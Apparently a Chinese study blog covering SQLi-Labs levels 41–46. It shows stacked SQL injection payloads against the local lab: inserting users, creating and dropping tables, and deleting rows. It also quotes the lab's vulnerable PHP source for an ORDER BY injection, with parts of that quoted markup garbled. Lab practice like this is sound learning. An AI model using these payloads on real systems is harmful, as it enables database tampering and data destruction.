SQLi-Labs 学习笔记（Less 41-50）
点击打开链接
Less-41 基于错误的POST型单引号字符型注入
①先打开网页查看 Welcome Dhakkan
与之前讲的Less-40的区别：
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
当然，和Less-40一样，都是盲注，不会显示错误信息，不过对我们没差，构建payload：
- http://localhost/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(15,'jack','jack')%23
Less-42
①先打开网页查看 Welcome Dhakkan
Update更新数据后，经过mysql_real_escape_string()处理后的数据，存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入，这关和二次注入的思路是不一样的。
分析源码login.php可以知道：
- $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
- $password = $_POST["login_password"];
password并没有被过滤，我们可以利用password来注入，用户名随意填写，密码如下：
- a';create table jack like users#
Less-43
与Less-42的区别在于：
- $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
payload：
- username:admin
- password:a');drop table jack#
Less-44
本关是基于盲注的，这里盲注主要是要没有报错信息，所以要采用盲注。这关与42关的区别就在于没有报错信息，同时，我们使用同样方式的payload：
- username:admin
- password:a';insert into users(id,username,password) values('15','jack','jack')#
Less-45
与Less-43关的区别在于并没有报错信息，也就是基于盲注，payload：
- username:admin
- password:a');delete from users where id=15#
Less-46
①先打开网页查看 Welcome Dhakkan
②查看源代码：
ORDER BY-Error-Numeric
- include("../sql-connections/sql-connect.php");
- $id=$_GET['sort'];
- if(isset($id))
- {
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'SORT:'.$id."\n");
- fclose($fp);
- $sql = "SELECT * FROM users ORDER BY $id";
- $result = mysql_query($sql);
- if ($result)
- {
- ?>
-
-
-
-
ID USERNAME PASSWORD - while ($row = mysql_fetch_assoc($result))
- {
- echo '
- echo "
"; ";- echo "
".$row['id']." ";- echo "
".$row['username']." ";- echo "
".$row['password']." ";- echo "
- echo "
- echo "";
- }
- echo "";
- }
- else
- {
- echo '
- print_r(mysql_error());
- echo "";
- }
- }
- else
- {
- echo "Please input parameter as SORT with numeric value
"; - echo "
"; - echo '
'; - echo "Lesson Concept and code Idea by D4rk";
- }
- ?>